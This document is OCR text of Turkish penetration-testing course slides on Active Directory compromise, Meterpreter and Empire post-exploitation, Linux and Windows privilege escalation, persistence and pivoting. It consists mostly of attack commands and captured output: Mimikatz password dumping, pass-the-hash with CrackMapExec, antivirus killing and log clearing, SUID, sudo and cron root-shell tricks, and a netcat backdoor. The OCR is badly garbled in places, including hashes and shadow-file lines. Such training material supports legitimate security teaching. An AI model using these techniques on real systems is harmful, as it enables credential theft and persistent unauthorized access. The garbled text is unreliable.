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v Domain Exploitation

* Active Directory Nedir?
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@ Domain Exploitation

« Tum sistemlere sizabilmek igin:
- Zafiyetler kullanilarak hedef sistemlere sizilir ve kullanici yada oturum bilgileri
toplanir.
« Bruteforce ataklar sayesinde sistemlere sizilir.
* Sistemler uzerindeki detayl bilgi iceren dosyalar ile ek sistemlere sizma girisimleri
denenir.
* Sonuc olarak bir noktada Domain Admin’e giden yol acilir.

*  Kontrol artik sende!
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@ Domain Exploitation

* Bir Windows sisteme sizildiginda genellikle;
*  SAM ve SYSTEM dosyalari ele gecirilir.
* %WINDIR%\system32\config\SAM
*  %WINDIR%\system32\config\SYSTEM
*  Samdump?2 ile hashler elde edilir.
* Veya metasploit oturumu tzerinden hashdump calistirilir.

* Elde edilen hashler kirilir ya da pass-the-hash yontemi ile tum networkte denenir.
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v Mimikatz - Uygulama

Mimikatz ile hafizadan acik metin parolalar elde edilebilir.

https://github.com/gentilkiwi/mimikatz

uthentication Id = 8 ; 294625 (0000AGG0:00047¢cel)
: : HYH . ess i : Interactive from 1
mimikatz # privilege::debug ol - oy o DR
’ TESTDOMAIN

imikatz # sekurl | d ogon Server : WIN-12UU57SPIN9
e Logon Time 27172016 6:21:21 AN
mimikatz SeKurisa:: ogonpasswor S 31D : §-1-5-21-1100472043-2579244664-3974358937-500

nsy =
(0001808088 ] Credentiwilevy

» NTLHM : 1543a4536a25d288e652dba231e73cdd

» SHA1 D YeZ21d96 21458209705 h31edY6reBIS5Yd899b4cct
[0BBAEA3 1 Primary

w Usernane : Adninistrator
Ty ne 1A

*» Domain ' 8-
» NTLM : 1543a1536a25d208e652dbha231e73cdd
» SHA1 D V21621958 2u79eShITeaYeresrsSyas99bdccf

tspky
wdigest =
# Username : Adninistrator
» Domain + TECTNOMOIN
» Pass d : Veakpassl]
kerberos :
# Usernane : Adninistrator
» Domain - " M4
» Password : Weakpassi
S5p =
credman
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v Tarayici Parolalari

run post/windows/gather/enum_chrome

run post/multi/gather/firefox_creds

Nirsoft yazilimlar kullanilabilir

Metasploit uzerinde bircok tarayici modulu bulunmakta.

git clone https://github.com/Unode/firefox_decrypt.git

https://www.nirsoft.net/utils/web_browser_password.html
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&) MS14-068 Zafiyeti

* Domain Admin yetkisine erisimi saglayan kritik seviye bir zafiyettir.
* Kerberos zafiyeti

»  PyKEK scripti ile kolayca exploit edilebilir. (https://github.com/mubix/pykek )

ns514-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr>

[+] Building AS-REQ for dc-a-2003.dom-a.loc... Done!

[+] Sending AS-REQ to dc-3-2003.dom-a.loc... Done!

[+] Receiving AS~REP from dc-a-2003.dom-a.loc... Done!

[+] Parsing AS-REP from dc-a-2003.dom-a.loc... Done!

[+] Building TGS-REQ for dc-a-20@3.dom-a.loc... Done!

[+] Sending TGS-REQ to dc-2-2003.dom-a.loc... Done!

[+] Receiving TGS-REP from dc-a-2003.dom-a.loc... Done!

[+] Parsing TGS-REP from dc-a-2003.dom-a.loc... Done!

[+] Creating ccache file 'TGT_user-a-1@dom-a.loc.ccache'... Done!
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v Meterpreter

Metasploit icerisinde yer alan gelismis
bir payloaddir ve manuel olarak
gerceklestirilebilecek bir cok islemi post
exploitleri sayesinde hizlica
cozumleyebilir.

Superman olarak dusunulebilir.

Post exploitation adiminin

vazgecilmezidir.
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@ Post Exploitation

* Exploit sonrasi islemler

* Hedef sisteme 0zel arastirma teknikleri

* Parola ozetlerini elde etme adimlar

* Konfigurasyon dosyalarini tespit etme

* Domain kullanicilarini tespit etme ve aksiyon
- Bellekten parolalarin elde edilmesi

* Envanter ¢ikarimi
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@ Post Exploitation - Uygulama

* Meterpreter Temel Komutlar

sysinfo — Sistem hakkinda bilgi almak icin kullanilr
background - Sessioni arka plana atmak icin kullanilir
getuid - uid bilgisini almak icin kullanilir

upload - sisteme dosya yuklemek icin kullanilir

download - sistemden dosya cekmek icin kullanilir
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v Post Exploitation - Uygulama

* Meterpreter Temel Komutlar
« screenshot — Ekran gortntusu almak icin kullanihir
* ps - calisan processleri listelemek icin kullanihr
* migrate — calisan bir process’e baglanarak kalicilik saglamak icin kullanilir

« getsystem - sistemde yetki yukseltmek icin kullanilr
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v Post Exploitation - Uygulama

* Meterpreter Temel Komutlar
* Hashdump - kullanici bilgilerinin hashini almak icin kullanilir
* run hashdump - hashdump post exploiti calistirilir
* record_mic - ses kaydi almak icin kullanilir

* webcam_snip 1 — sistem uzerinde bir webcam var ise aktiflestirilir ve goruntu alinir.
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@ Post Exploitation - Uygulama

* Meterpreter ile hedef sistemin ag trafigini dinleme
« use sniffer diyerek sniffer 1 aktiflestirebilirsiniz.
- sniffer_interfaces - interfaceleri goruntuleme.
- sniffer_start 3- 3 nolu interface icin paket kaydi yapma.

+ sniffer_dump 3 /tmp/dump.pcap — 3 nolu interface icin alinan trafik kaydini kayit etme
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@ Post Exploitation - Uygulama

* Meterpreter Diger Komutlar

« enum_firefox — Firefox browseri eger sistemde yukliyse veri cekmek icin kullanihr

* clearev — loglar silmek icin kullanilir

« killav — antivirusleri kapatmak icin kullanihr

* run get_application_list — sistemde yuklu uygulamalar listeler
* run hostedit -e 10.0.1.5,facebook.com — Hocam facebook hesaplarini nasil hacklerim? ©

* enable_rdp — RDP servisini aktiflestirmek icin kullanilir.
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@ Post Exploitation - Uygulama

* Meterpreter Post Exploit Kullanimi
* run post/<TAB>
* use post/windows/gather/enum_domain — Domain enumeration icin kullanilir.
* run post/windows/gather/enum_applications — Sistemde yukli uygulamalari kesfet
* run post/windows/gather/credentials/winscp — Sistemde yuklu winscp uygulamasindan

parolalari ¢cikar
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v Post Exploitation - Uygulama

* Yetki yukseltme icin kullanilabilecek komutlar
- getsystem - Sistemde NT AUTHORITY\System yetkilerine erisim icin bir yol varsa, bu
yolu kullanarak sizi en yetkili kullanici yapar.

* bypass_uac — UAC ‘1 agmak icin kullanilir.
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@ Post Exploitation - Uygulama

* Meterpreter 6zel moddller
* incognito — candir <3
* useincognito — incognito modulunu aktiflestirir
« list_tokens - sistemde var olan tokenlari listeler
- impersonate_token — tokenlari Gstlinuze almaniza olanak saglar

* Domain Admin tokeni yakaladiginizda incognito ile bu yetkiye sicrayabilirsiniz.
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@ Post Exploitation

Empire, PowerShell ve Python kullanan bir post-
exploitation aracidir.

Esnek ve kriptolu guvenlik yapisiyla hedef sistemlerde
post-exploitation asamasinda kullanilacak moddller
barindirir,

Eger sistemde antivirus gibi bir onlem kullaniliyorsa

PowerShell kullandigi icin bunlarin guvenlik

engellerine de takilmadan hareket eder.
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@ Post Exploitation

Empire uc¢ farkli ozellik barindirir.
Biz de bunlari ve icerisinde bulunan modiilleri
kullanarak post-exploitation islemini gerceklestiririz.
Bunlar:

Listeners

Stagers

Agents
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@ Post Exploitation

Ik yapacagimiz sey Metasploit'te oldugu gibi Empire
uzerinden shell alabilmek icin bir listener baslatmak
olmal.

listeners komutu ile listeners menusune giriyoruz ve
ayni zamanda aktif olan tum listenerlar liste olarak
sunuluyor,

Listener'imizi secip ayarlarini yaptiktan sonra
execute komutu ile listenerimizi aktif hale

getiriyoruz.
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v Empire - Uygulama
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@ Post Exploitation

Empire araci, listener acildiktan sonra ona baglantiyi
gonderecek ve listener''n  hedef sisteme
baglanmasini saglayacak cesitli stagerlar bulundurur.

usestager <tab> komutu ile uygun stagerlar listelenir
ve isimize yarayan secilerek konfigure edildikten
sonra execute komutu ile cahstirilir,
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v Empire - Uygulama
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v Empire - Uygulama
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@ Post Exploitation

Listener baslatilip stager hedef sistemde
cahistirildiktan sonra, agents modulunden hedef
sistemde acilan baglanti uyarisi alinir.

agents komutu ile menuye gidilir.

Acilan baglantiyi aktif hale getirmek icin interact

<baglanti-ismi> komutu kullanilr.
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v Empire - Uygulama
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@ Post Exploitation - CME

*  Crackmapexec (CME)

- Isvicre cakisi gibi bir arac

- Icerisinde network tabanl ataklarinizi hizlandiracak bircok
ozellik mevcut.

* Tek komutla tum networkte pass the hash saldirisi yapip

iceride var olan tokenlari, mimikatz ile memory dumplari vs alabilirsiniz.
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@ Post Exploitation — CME - Uygulama

«  Bir kullanici adi ve parola ile tum networku tarayabilirsiniz.
* crackmapexec smb 10.0.1.0/24 -u Administrator-p Password123!
» Pass the Hash saldirisi yapabilirsiniz.
» crackmapexec smb 10.0.1.0/24 -u Administrator -H
E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949
 Sizabildiginiz tum sistemlerde mimikatz calistirabilirsiniz.

* crackmapexec smb 192.168.1.1/24 -u Administrator -p Password123! -M mimikatz
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@ Post Exploitation — Dosya Transferi

« Birsisteme sizildiginda dosya transferi yapmak icin elinizin altinda meterpreter gibi
yetenekli bir ajan olmayabilir. Sahip oldugunuz shell icerisinde dosya transferi icin
asagidaki komutlardan faydalanabiliriz.

* Python 2 ile:
* Servis ayaklandirma : python -m SimpleHTTPServer 8000
* Clientile cekme : wget http://10.0.1.5:8000/dosya

*  Python 3 ile:
* Servis ayaklandirma : python —m http.server 8000
* (Client ile cekme : wget http://10.0.1.5:8000/dosya
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http://10.0.1.5:8000/dosya
http://10.0.1.5:8000/dosya

@ Post Exploitation — Dosya Transferi

« Apache servisini kendi makinenizde ayaklandirarak da dosya transferi yapabilirsiniz.
» Fakat dikkat! Eger calistirdigi bir dil varsa (6rn: php) raw icerik alamazsiniz.
* Servisi baslat : service apache2 start

* (Clientile cek : wget http://10.0.1.5

* PHP ile de yapilabilir.
* Servisi baslat : php -5 0.0.0.0:8000
* (Clientile cek : wget http://10.0.1.5:8000
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http://10.0.1.5/
http://10.0.1.5:8000/

@ Post Exploitation — Dosya Transferi

* Hacklediginiz sistem Windows ise?
* bitsadmin kullanabilirsiniz.
« bitsadmin /transfer n http://domain/file c:khomepath%file
* ncile de yine dosya transferi yapilabilir. Hedef sisteme eger icerisinde nc binarysi yoksa
yuklenir ve oyle cahistirilir.
* nc-11337 > dosya
* nc 10.0.1.6 1337 < dosya
* nc’'nin siirlime gore farkl kullanim yontemleri bulunmaktadir. Ornegin port belirtinken

bazi surumler —p parametresini de isteyebilir. nc - —p 1337 gibi.
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&) Yetki Yiikseltme Saldirilar

« Sistemde birden fazla yetki grubu mevcut.

* Linux ve MacOS icin root, Windows icin Administrator kullanicisi en yetkili kullanicidir.

* Yetki yukseltme saldirilari ile birlikte herhangi bir kullanicinin, yetki kullanici yetkilerine erismesi
mumkundur.

* Local Exploitler!
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&) Yetki Yiikseltme Saldirilar

* Neden ihtiya¢ duyanz?
- Sistemdeki hassas dosyalari okuma ve uzerine yazabilme imkani
+ Sistemde kalicihk saglayabilme
» Sistemi tum yetkilerle ele gecirme

* Sistemi ileri seviye izleme

WWW.prismacsi.com .
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&) Yetki Yiikseltme Saldirilar

* Linux Yetki Yukseltme Saldir Tipleri

* Kernel exploitleri

MPRISMA

CYBER SECURITY AND INTELLI

Root yetkisi ile calisan servislerin exploit edilmesi
Suid-bit yetkisi olan Programlarin exploit edilmesi
sudo haklari olan kullanicilarin exploit edilmesi

Konfigurasyon hatasi olan cron-job uygulamalarinin exploit edilmesi
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&) Yetki Yiikseltme Saldirilar

* Kernel Exploitleri

* Kernel exploitleri, Linux kernel'inde (cekirdeginde) bulunan zafiyetleri kullanarak yiikseltilmis

yetkilerle komut calistirllmasina izin veren programlardir.

- Basarih bir kernel exploiti genellikle kullaniciya super user vyetkileri (#root) ile komut
calistirmasini saglar.

* Kernel exploitinin hedef sistemde calismasi icin zafiyeti iceren kernel surumunu kullanan bir
makine ve bu exploiti hedef sisteme atabilecegimiz bir baglantimiz olmasi gerekmekte, en son

asama olarak hedef sisteme atilan exploiti calistirabiliyor olmamiz gerekmektedir.
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&) Yetki Yiikseltme Saldirilar

*  UYARI!

* Kernel exploitleri her zaman en son care olarak kullaniimahdir. Cunku internette
bulunan exploitlerin tamaminin stable olmamasindan dolayi exploit calistirilan sistem
crash olabilir ve calistirilan exploit hedef sistemde yakalanmaya sebebiyet verecek iz

ve loglar birakabilir.
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&) Yetki Yiikseltme Saldirilar

Sgcc cve _2016_0728.c -0 cve_2016_0728 -lkeyutils -Wall
$./cve_2016_0728 PP1

uid=1000, euid=1000

Increfing...

finished increfing

forking...

finished forking

caling revoke...

uid=0, euid=0

-

# whoami

root

#
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&) Yetki Yiikseltme Saldirilar

* Root yetkisi ile calisan servislerin exploit edilmesi
* Root yetkisi ile calisan herhangi bir servisi exploit etmek her zaman root shelli ile sonuclanir. Bu
yuzden sisteminizde calisan servisleri her zaman kontrol etmeli, root yetkisi ile calisip

calismadigina bakmali ve gerekmiyorsa root yetkisi ile calistirmamalisiniz.
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v Yetki Yukseltme Saldirilari

john@Kioptrix4:~%$ ps -aux | grep root | grep mysql
Warning: bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html

root 4170 0.0 0.0 1772 528 7 S 06:35 0:00 /bin/sh /usr/bin/mysqlqg
root 4212 0.0 1.5 126988 16232 ? Sl 06:35 0:00 /usr/sbin/mysqld --bass

mysql> create function do system returns integer soname 'raptor udf2.so';
Query OK, © rows affected (0.04 sec)

mysql> select do system('id > /tmp/out;

chown smeagol.smeagol /tmp/out');

do system('id > /tmp/out; chown smeagol.smeagol /tmp/out')

row in set (0.01 sec)
mysql> \! sh

$ cat /tmp/out
uid=0(root) gid=0(root) groups=0(root)
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&) Yetki Yiikseltme Saldirilar

* SUID Bit Exploit
»  SUID (Set User ID), bir programin belirtilen user yetkileri ile calistirlmasina yarayan bir Linux
ozelligidir. Ornek olarak ping komutu network socketleri acabilmesi icin her zaman root
yetkileri ile calismalidir. Bu yuzden kurulu oldugu herhangi bir sistemde otomatik olarak root

kullanicisinin yetkileri ile suid izni vardir. Boylece her kullanici ping komutunu kullanabilir.
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v Yetki Yukseltme Saldirilari

johndoe®PrismaCSI:/$ find -perm -ues ~type f -exec 1s ~1ddb {} \; 2>/dev/mull
-rwsr-xr-x 1 root root 49128 May 16 2017 ./bin/su

-rwsr-xr-x 1 root root 39768 May 16 15:00 ./bin/more

<rwsr-xr-x 1 root root 27688 May 16 15:00 ./bin/umount

-rwsr-xr-x 1 root root 49152 May 16 15:09 ./bin/mount

~rwsr-xr-x 1 root root 428240 Jon 18 2018 ./usr/lib/openssh/ssh-keysign
~rwsr-xr-x 1 root root 49432 May 16 2017 ./usr/bin/chsh

-rwsr-xr-x 1 root root 75304 May 16 2017 ./usr/bin/gpasswd

~-rwsr-xr-x 1 root root 399904 Moy 16 2017 ./usr/bin/newgrp

-rwsr-xr-x 1 root root 49584 May 16 2017 ./usr/bin/chfn

-rwsr-xr-x 1 root root 54256 May 16 2017 ./usr/bin/passwd

~rwsr=xr=x 1 root root 136828 Jul 4 2017 ./usr/bin/sudo
johndoe®PrismaCSI:/$ cat /etc/shadow

cat: /etc/shadow: Permission denied

johndoe®Prisma(SI:/$ /bin/more /etc/shadow

root : $65p31hF 7uCSvOt 16PQo11 fpMASE jGVDEas cUTGUn804 YOm1 DCHe | DUUGAFRIANGCYDRWSMf yGyv120KvTteTpeSBXFAMIHENN, : 17774:0:99999:7: ::
doemon:*:17738:0:99999:7:::

bin:*:17738:0:99999:7:::

Sys:*:17738:0:99999:7:::

sSync:*:17738:0:99999:7:::

gomes:*:17738:0:9%999 -

mon:*:17738:0:99999:7:::

lp:*:17738:0:99999:7:::

mall:*:17738:0:99999: :

news:*:17738:0:99999;

wuCp:*:17738:0:99999:7:::

proxy:*®:17738:0:99999:7:::

ww-dato:*:17738:9:99999:7:::

bockup:*:17738:0:99999:7:::

11st:*%:17738:0:99999:7:::

irc:*:17738:0:99999:7:::

gnats:*:17738:0:99999:7:::

nobody:*:17738:0:99999:7:::

systemd-timesync:*:17738:0:99999:7:::
systemd-network:*:17738:0:99999:7:::
systemd-resolve:*:17738:0:99999:7:::
systemd-bus-proxy:*:17738:0:99999:7:::

opt:*:17738:0:99999:7:::

sshd:*:17774:0:99999:7:::
brussels:$686.0LZ 1 xISMINCUPKPEFS1USYpEACeXNninRhyEb .CqboKDEXFhZA/ENND/71uP2qE3 . bAUdIKF . 1 17774:0:99999:7: 1
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v Yetki Yukseltme Saldirilari

robot@linux:"% id
uid=1002 (robot)
robot@linux:™% nmap --interactive

Starting nmap V. 3.81 ( http://www. insecure.org/nmap/ )

Welcome to Interactive Mode -- press h <enter> for help
amap> !'sh

¢ i

11d=1002(rohot) euid=0(root) groups=0(root)

& _
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&) Yetki Yiikseltme Saldirilar

* Sudo Hakki Exploit Edilmesi
* Herhangi bir sudo kullanicisina erisildiyse bundan sonra kullanicinin sudo haklari kullanilarak

herhangi bir komut root yetkisi ile calistinlabilir.
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v Yetki Yukseltme Saldirilari

johndoe@PrismaCSI:/$ sudo -1
Matching Defaults entries for johndoe on PrismaCSI:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User johndoe may run the following commands on PrismaCSI:
(ALL : ALL) /usr/bin/find

johndoe@PrismaCSI:/$ sudo find /home -exec /bin/bash \;

root@PrismaCSI:/# whoami

root

root@PrismaCSI:/#
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&) Yetki Yiikseltme Saldirilar

* Cronjob Exploit
« Cron-job olarak calisan bir script veya binary yazilabilir ise bu script veya binary Uzerinde

duzenleme yaparak root shelli elde edebiliriz.
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v Yetki Yukseltme Saldirilari

johndoe@PrismaCSI:/$ 1s -la /etc/cron.d

total 12

drwxr-xr-x 1 root root 4096 Sep 19 21:21 .

drwxr-xr-x 1 root root 4096 Sep 19 21:26 ..

-rw-r--r-- 1 root root 102 Apr 5 2016 .placeholder
-rw-r--r-- 1 root root @ Sep 19 21:21 backup
johndoe@PrismaCSI:/$ cat /usr/sbin/backup.sh

#!/bin/bash

# Backup to NFS mount script. #

backup_files="/home /var/spool/mail /etc /root /boot /opt"
# Where to backup to.

dest="/mnt/backup"”

# Create archive filename.

day=$(date +%A)

hostname=$(hostname -s)

archive_file="$hostname-$day.tgz"

# Backup the files using tar.

tar czf $dest/$archive_file $backup_files
johndoe@PrismaCSI:/$ 1s -1db /usr/sbin/backup.sh

-rwxr-xrwx 1 root root 322 Sep 19 21:26 /usr/sbin/backup.sh
johndoe@PrismaCSI:/$ echo "/bin/bash" > /usr/sbin/backup.sh
johndoe@PrismaCSI:/$ # Script will run again 5 minutes later!
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&) Yetki Yiikseltme Saldirilar

* Tavsiyeler
* Hedef sistemde ilk once LinEnum gibi sistemde tarama yaparak bize bilgi verecek scriptler
kullanmak kolaylik saglayabilir.
« Baazi kullanicilarin credentiallari bilgisayarda herhangi bir klasorde .txt dosyasi halinde tuttuklar
daha onceden gorildugdu icin, hedef sistemi kapsamli bir sekilde aramak iyi bir adimdir.

 Credentiallarin bulunmasi halinde yetki yukseltmek icin ugrasmaya gerek kalmayabilir.
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&) Yetki Yiikseltme Saldirilar

* Windows Yetki Yukseltme Saldir Tipleri
*  Windows Kernel Exploit
* Meterpreter ile Migrate
* Depolanmis Credentiallar

- Domain Exploitation
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&) Yetki Yiikseltme Saldirilar

Starting interaction with 2...
meterpreter > getuid
Server username: IE11WIN7\IEUser
meterpreter > getsystem -h
Usage: getsystem [options]

Attempt to elevate your privilege to that of local system.

OPTIONS:

-h Help Banner.

-t <opt> The technlqgf to use. (Default to '0').
h

0 ALl t niques available
: Named Pipe Impersonation (In Memory/Admin)
Named Pipe Impersonation (Dropper/Admin)
Token Duplication (In Memory/Admin)

meterpreter > getsystem -t 1

...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getulid

Server username: NT AUTHORITY\SYSTEM

meterpreter > |
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&) Yetki Yiikseltme Saldirilar

Hedef sistemde otomatik olarak tarama yaparak patchlenmemis zafiyetleri gosterir.

post( ) > run

KB2871997 is missing

KB2928120 is missing

KB977165 - Possibly vulnerable to MS10-015 kitrap@d if Windows 2K SP4 - Windows 7 (x86)
KB2305420 - Possibly vulnerable to MS10-092 schelevator if Vista, 7, and 2008

KB2592799 - Possibly vulnerable to MS11-080 afdjoinleaf if XP SP2/SP3 Win 2k3 SP2
KB2778930 - Possibly vulnerable to MS13-005 hwnd broadcast, elevates from Low to Medium integ
rity
[+] KB2850851 - Possibly vulnerable to MS13-053 schlamperei if x86 Win7 SPO/SP1
[+] KB2870008 - Possibly vulnerable to MS13-081 track popup menu if x86 Windows 7 SPO/SP1
[*] Post module execution completed
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&) Yetki Yiikseltme Saldirilar

Hedef sistemde otomatik olarak tarama yaparak bulunan zafiyetleri gosterir.

f post(

| 192.

192.

+] 192.
+] 192.
+] 192.
+] 192.
192.
192.
192.

] 192.

] 192.
192.
192.
192.

168.

168.
168.
168.
168.
168.
168,
168.
168.
163.
168.
168.
168.
168.

88.
88.
88.
88.
88.
88.
.128 -

88.

88

.128

.128
.128 -
.128
.128
88.

) > run

Collecting local exploits for x86/windows...

37 exploit checks are being tried...
exploit/windows/local/bypassuac eventvwr: The target appears to be vulnerable.

- exploit/windows/local/ikeext service: The target appears to be vulnerable.

128 -

128 -

128 -

128
128

exploit/windows/local/msl@ 015 Kitrap@d: The target service is running, but could not be validated.
exploit/windows/local/ms1@ 092 schelevator: The target appears to be vulnerable.
exploit/windows/local/msl3 053 schlamperei: The target appears to be vulnerable.
exploit/windows/local/ms13 081 track popup menu: The target appears to be vulnerable.

- exploit/windows/local/msl4 058 track popup menu: The target appears to be vulnerable.

128 -

128

128

exploit/windows/local/ms1l5 004 tswbproxy: The target service is running, but could not be validated.

exploit/windows/local/ms15 051 client copy image: The target appears to be vulnerable.
exploit/windows/local/msl6 016 webdav: The target service is running, but could not be validated.

exploit/windows/local/msl6é 032 secondary logon handle privesc: The target service is running, but could not be validated.

exploit/windows/local/ppr flatten rec: The target appears to be vulnerable.

Post module execution completed
post(

MPRISMA
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&) Yetki Yiikseltme Saldirilar

Bu modadl ile hedef sistemde bulunan kullanicilarin parolalarinin hashlerini ele gecirebiliriz.

._“a

e e
15342

941

1404ecaad3b435bt
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&) Yetki Yiikseltme Saldirilar

- Bu modil ile hedef sistemde Administrator kullanici yetkileri ile calisan herhangi bir process’e gecis

yaparak yetki yukseltebiliriz.

meterpreter

Running module against V-MAC-XP

Current server process: svchost.exe (1092)

Migrating to explorer.exe...

Migrating into process ID 672
New server process: Explorer.EXE (672)

meterpreter >
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Yetki Yukseltme Saldirilari

*  Privesc_Check Scripti

* https://github.com/pentestmonkey/windows-privesc-check

pentestimonkey / windows-privesc-check Owach> 28 WS 888  Yrienw 0
<> Code Issues 12 Pull requests © Projocts 0 nsiQhs

Standalone Executable to Check for Smple Priviiege Escalation Veciors on Windows Systems

0 181 commits P 4 beanches 0 'vesser A% 1 contricuter
Branchc master » New pull reguest Creste rew fle  Upload fles Find fie Clone o download *
111 pemestmonkey Usdets REALNVE mot Latest Commit STI8L14 on Apr O, 2078
=\ docs Croste QuickSartUsage md 4 yoars Q0
| wpe ITOrovec arror Randiing relating 1o unCode charsclony 4 yoors -0
- Roports are now produced in HTVL and text format. Saved to fle via m 7 yOurs aQo
README. XY Adopted UNIX Ine endings 7 yours 000
» README md Update README md 4 yoors ago
wWiIndOows - privess -Checi oxe Updated oxe 4 yours aQe
WINGOWS_ prvesc check. py -Gt NOw Inciudes appendices 1 the report for Drives, Drrvers ard A yours g0
WINdOws_privesc_check. spec AQGIng spec fle for exampie of how 10 Dulid oxe using pyWnstaler 7 yoars aQo
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https://github.com/pentestmonkey/windows-privesc-check

&) Persistence / Kalicilik

* Persistence, hedef sistemde shell aldiktan sonra sistemdeki varligimizi kalici hale getiren yontemlere
denir. Bu herhangi bir script olabilir, calisan bir process’e gomulmus bir backdoor olabilir. Gerisi

hacker'in hayal gucune kalmistir.
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&) Persistence / Kalicilik

* Teknikler - Backdoor
- Backdoorlar akla gelen ilk ve en kolay yontemlerdir.
- Internet aleminde cok fazla alternatifi bulunabilir.

*  Olumsuz yani cok kolay tespit edilebilmesidir.
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&) Persistence / Kalicilik

* Teknikler - Direct Code Injection
- Calisan uygulamalara zarar vermeden zararli kodu ekleme islemidir.
 Yeni bir uygulama calistirlmadigi, sadece calisan bir uygulamaya enjekte edildigi icin tespit
edilmesi neredeyse imkansizdir.

* Olumsuz yani sistem reboot edildiginde kaybolur.
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&) Persistence / Kalicilik

* Metasploit — Persistence Modulu
* Hedef sistemde meterpreter shell aldiktan sonra run persistence komutu gerekli ayarlar
eklenerek calistirilir. Boylece metasploit otomatik olarak sisteme bir backdoor yerlestirir. Daha

sonra belirtilen IP adresi ver porttan istenildigi zaman shell alinabilir.
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&) Persistence / Kalicilik
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&) Persistence / Kalicilik

s4u_persistence modulu
Zamanlanmis bir gorev
olusturur ve bu zamanlanmis
gorev sayesinde her zaman

shell alinabilir.
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&) Persistence / Kalicilik

registry_persistence modulu
Bu modul boot sirasinda calistirilan bir payload olusturur ve sisteme gomer. Boylece sistem her

reboot edildiginde payload calisir ve shell alinabilir.
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&) Persistence / Kalicilik

Netcat Kullanimi
Netcat, TCP/IP protokolunu kullanarak dosya okuma ve yazmaya yarayan network aracidir.

Hedef sistemde kalicilik saglamak icin kullanilabilir.

Ik 6nce nc.exe dosyasi hedef sisteme upload edilir.
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&) Persistence / Kalicilik

Netcat Kullanimi

Daha sonra registry degeri nc.exe'yi calistiracak sekilde ayarlanir.

Hedef systemin nc.exe dosyasini calistirmasi icin firewall kurallari eklenir ve firewall

devre disi birakilir.
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&) Persistence / Kalicilik

Netcat Kullanimi
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&) Persistence / Kalicilik

* Netcat Kullanimi
* Artik sistemdeki backdoor'umuz hazir. Netcat kullanarak istedigimiz zaman hedef
sistemde shell alabiliriz.

* nc-lvp 10.0.0.55 1337
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v Pivoting

* Kurumsal bir yapi hayal edin. l

* Disa acik bir sunucusu mevcut ve iceride de bu

sunucu diger sistemler ile baglantil.

& Port Switah

* Disanidan bu sunucuya sizdiniz ve istiyorsunuz ki i¢

networke de erisim saglayabilin.

- Iste tam olarak bu noktaya Pivoting! deniyor.
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v Pivoting

* Pivoting islemini gerceklestirmek icin tunelleme teknikleri kullanabilirsiniz.
* Hedef kurumun bir proxy sunucusu varsa pivoting icin kaynak elinizde demektir.
* SSH tunelleme teknikleri kullanilabilir
* Shuttle en glzel arac
* A poor man’'s vpn over SSH ©
* sudo apt-get install sshuttle

* sshuttle -r root@ipaddress 0.0.0.0/0 -vv
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@ Metasploit ile Pivoting

* Metasploit icerisindeki ajan meterpreter ile de pivoting yapabilirsiniz.
- Oncelikle bir routing eklemeniz gerekmektedir.

* run autoroute -s network/subnet

* run autoroute —p : eklediginiz kurallara bakabilirsiniz.
* Port yonlendirme de yapmak isteyebilirsiniz,

» portfwd add -1 88 -p 80-r ipaddress

* Firefox -> ipaddress:88
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